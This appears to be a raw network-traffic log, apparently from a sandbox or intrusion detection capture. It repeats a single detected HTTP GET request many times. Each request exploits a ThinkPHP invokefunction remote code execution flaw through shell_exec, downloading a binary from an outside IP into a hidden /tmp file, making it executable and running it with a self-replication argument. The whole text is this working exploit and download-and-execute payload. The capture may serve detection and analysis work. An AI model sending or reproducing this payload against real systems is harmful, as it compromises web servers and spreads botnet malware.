Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
